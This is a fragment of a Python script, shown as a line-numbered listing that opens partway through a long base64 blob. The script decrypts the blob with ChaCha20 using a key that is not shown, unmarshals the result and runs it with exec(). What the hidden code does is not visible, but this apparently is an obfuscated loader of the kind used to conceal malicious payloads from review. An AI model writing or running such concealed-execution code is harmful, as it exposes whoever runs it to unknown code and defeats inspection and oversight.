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" |
| 9 | |
| 10 | def _run(): |
| 11 | try: |
| 12 | _k = bytes.fromhex(_k_hex) |
| 13 | _raw = base64.b64decode(_p_b64) |
| 14 | _n = _raw[:12] |
| 15 | _ct = _raw[12:] |
| 16 | _cipher = ChaCha20.new(key=_k, nonce=_n) |
| 17 | _dec = _cipher.decrypt(_ct) |
| 18 | code = marshal.loads(_dec) |
| 19 | exec(code, globals()) |
| 20 | |
| 21 | except ValueError as ve: |
| 22 | print("Error: Integrity check failed or bad key.") |
| 23 | except EOFError: |
| 24 | print("Error: Marshal data corrupted (possibly wrong Python version).") |
| 25 | except Exception as e: |
| 26 | print(f"Error execution: {e}") |
| 27 | |
| 28 | if __name__ == "__main__": |
| 29 | _run() |